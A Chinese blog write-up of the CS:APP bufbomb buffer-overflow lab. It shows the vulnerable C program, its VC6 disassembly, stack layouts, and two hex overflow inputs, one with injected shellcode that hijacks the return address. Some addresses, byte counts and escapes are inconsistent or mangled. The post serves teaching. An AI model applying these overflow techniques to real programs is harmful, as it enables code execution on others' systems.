缓冲区溢出攻击试验(bufbomb.c)

本文的代码来自来源于《Computer Systems A Programmer's Perspective》(深入理解计算机系统》一书中的bufbomb.c作业题。

实验环境xp+vc6.0。

另:linux2.6+gcc4.x下目前碰到栈保护等措施,暂时还没研究出结果。

 

问题描述如下:

 

分析下面程序,可以得知,正常情况下,这个函数会在getbuf中,调入getxs函数读入数字对,然后不管任何情况下,

都会对test函数返回0x1,然后由test中的printf函数打印getbuf的返回值。 现在你的任务,就是,利用缓冲区溢出

的漏洞,输入些特殊的数字,使得屏幕中打印的是0xdeadbeef。

 

bufbomb.c 源代码:

//bufbomb.c /* Bomb program that is solved using a buffer overflow attack */ #include #include #include /* Like gets, except that characters are typed as pairs of hex digits. Nondigit characters are ignored. Stops when encounters newline */ char *getxs(char *dest) { int c; int even = 1; /* Have read even number of digits */ int otherd = 0; /* Other hex digit of pair */ char *sp = dest; while ((c = getchar()) != EOF && c != '/n') { if (isxdigit(c)) { int val; if ('0' <= c && c <= '9') val = c - '0'; else if ('A' <= c && c <= 'F') val = c - 'A' + 10; else val = c - 'a' + 10; if (even) { otherd = val; even = 0; } else { *sp++ = otherd * 16 + val; even = 1; } } } //*sp++ = '/0'; return dest; } /* $begin getbuf-c */ int getbuf() { char buf[12]; getxs(buf); return 1; } void test() { int val; printf("Type Hex string:"); val = getbuf(); printf("getbuf returned 0x%x/n", val); } /* $end getbuf-c */ int main() { int buf[16]; /* This little hack is an attempt to get the stack to be in a stable position */ int offset = (((int) buf) & 0xFFF); int *space = (int *) alloca(offset); *space = 0; /* So that don't get complaint of unused variable */ test(); return 0; }

 

解决方案一:

 

1,源代码在vc的环境下需要额外添加

#include
#include
#include

 

2,先熟悉getbuf的帧栈结构,大致如下。

+-------------------------------+高地址
|return 返回地址                 |
+-------------------------------+
|ebp指针入栈                      |
+-------------------------------+

|                buf[11]             |
+-------------------------------+

 

 

3,接着看test的反汇编代码。正常情况getbuf()返回后,肯定会接着执行0040116A。由于getbuf返回值0x1保存在eax

寄存器中,0040116A行代码把它赋值给变量val([ebp-4]的位置)。然后把eax压栈,给后面的printf使用。

 

49: void test() 50: { 00401240 push ebp 00401241 mov ebp,esp 00401243 sub esp,44h 00401246 push ebx 00401247 push esi 00401248 push edi 00401249 lea edi,[ebp-44h] 0040124C mov ecx,11h 00401251 mov eax,0CCCCCCCCh 00401256 rep stos dword ptr [edi] 51: int val; 52: printf("Type Hex string:"); 00401258 push offset string "Type Hex string:" (00420038) 0040125D call printf (00401760) 00401262 add esp,4 53: val = getbuf(); 00401265 call @ILT+15(_getbuf) (00401014) 0040126A mov dword ptr [ebp-4],eax 54: printf("getbuf returned 0x%x/n", val); 0040126D mov eax,dword ptr [ebp-4] 00401270 push eax 00401271 push offset string "getbuf returned 0x%x/n" (0042001c) 00401276 call printf (00401760) 0040127B add esp,8 55: } 0040127E pop edi 0040127F pop esi 00401280 pop ebx 00401281 add esp,44h 00401284 cmp ebp,esp 00401286 call __chkesp (00401720) 0040128B mov esp,ebp 0040128D pop ebp 0040128E ret

 

4,由此我们可以采用这种溢出方式:使getbuf返回之后能跳到00401171的代码,

且test栈帧的栈顶值为deadbeef。这样后面的printf时就能正常打印deadbeef。

 

5,那么,我们就开始构造溢出后的getbuf栈帧,来实现上面说的方法。

    4.1 ebp指针入栈:这里保持不变,不然返回test之后就乱了。我机器上的值是0x0012efa0;

    4.2 return 返回地址:本来这里的值是0040116A,不过溢出后的值是00401171;

    4.3 test栈帧的栈顶值为deadbeef,这个怎么做? 事实上这种方法要破坏test的栈帧。

研究test的栈帧会发现它在getbuf栈帧的上面,且在getbuf返回时,test栈帧的空余空间44-4=40h,

所以我们在getbuf执行时把test的栈顶4Byte溢出成0xdeadbeef,这样getbuf返回后会跳到00401171,

此时test栈帧已经符合我们要求了。

 

6,综上所述,%ebp的值为0x0012efa0,修改后的返回地址为00401171,因而我们可以输入:

00000000 00000000 00000000 a0ef1200 71124000 efbeadde

 

7,该方案调试时能打印efbeadde。不过从test代码可以看到在调用printf之后,“add         esp,8”来清空栈(printf用到的参数),而我们这种方式实际上efbeadde不是压进栈的,所以这里比原来的栈少4Byte空间,这样会导致后面在检测esp时会出错。

 

解决方案二: 

 

1,源代码在vc的环境下需要额外添加

#include
#include
#include

 

2, 修改getbuf的buf为16Bytes,后面会说明为什么要这么做。

/* $begin getbuf-c */ 
int getbuf() 

    char buf[16]; 
    getxs(buf); 
    return 1; 

 

3,先熟悉getbuf的帧栈结构,大致如下。

+-------------------------------+高地址
|return 返回地址                 |
+-------------------------------+
|ebp指针入栈                      |
+-------------------------------+

|                buf[15]             |
+-------------------------------+

 

 

3,接着看getbuf的反汇编代码。我们可以采用这种溢出方式:使getbuf返回之后能跳到buf的地址,buf里面保存的代码负责保存0xdeadbeef到eax,然后再跳回到test的代码(0x40126A  mov         dword ptr [ebp-4],eax)。这样只要溢出getbuf的栈帧

就可以了。

 

  42: int getbuf() 43: { 004011F0 push ebp 004011F1 mov ebp,esp 004011F3 sub esp,50h 004011F6 push ebx 004011F7 push esi 004011F8 push edi 004011F9 lea edi,[ebp-50h] 004011FC mov ecx,14h 00401201 mov eax,0CCCCCCCCh 00401206 rep stos dword ptr [edi] 44: char buf[16]; 45: getxs(buf); 00401208 lea eax,[ebp-10h] 0040120B push eax 0040120C call @ILT+0(_getxs) (00401005) 00401211 add esp,4 46: return 1; 00401214 mov eax,1 47: } 00401219 pop edi 0040121A pop esi 0040121B pop ebx 0040121C add esp,50h 0040121F cmp ebp,esp 00401221 call __chkesp (00401720) 00401226 mov esp,ebp 00401228 pop ebp 00401229 ret

 

4,那么,我们就开始构造溢出后的getbuf栈帧,来实现上面说的方法。

    4.1 ebp指针入栈:这里保持不变,不然返回test之后就乱了。我机器上的值是0x0012efa0;

    4.2 return 返回地址:本来这里的值是0040116A,不过溢出后的值是是getbuf栈帧中buf的地址,我机器值是0x0012ef38;

    4.3 buf中的12Bytes(从buf[0]->buf[11])用来放机器代码686a1240 00b8efbe  addec390。

     这段机器码等价的汇编如下:

          push 0x40126A
          movl eax, 0xdeadbeef
          ret
          nop

    4.4 buf中的12Bytes(从buf[12]->buf[15])填充为:00000000。因为vc在我们执行完getxs达到溢出后,再跳到buf的地址之前还会调用__chkesp。这个函数很讨厌,如果我们的buf为12字节大小,它又会把我们好不容易构造的栈给破坏掉,所以我们为了实验目的我们需要修改buf为16字节,且把buf[12]->buf[15]留给它用。因为我们的溢出代码不会用到buf[12]->buf[15]这个空间,就不会对我们有影响了。

 

5,综上所述,我们可以输入:

686a1240 00b8efbe  addec390 00000000 a0ef1200 38ef1200

 

6,该方案能打印efbeadde,且程序能正常运行。

你可能感兴趣的:(缓冲区溢出攻击试验(bufbomb.c))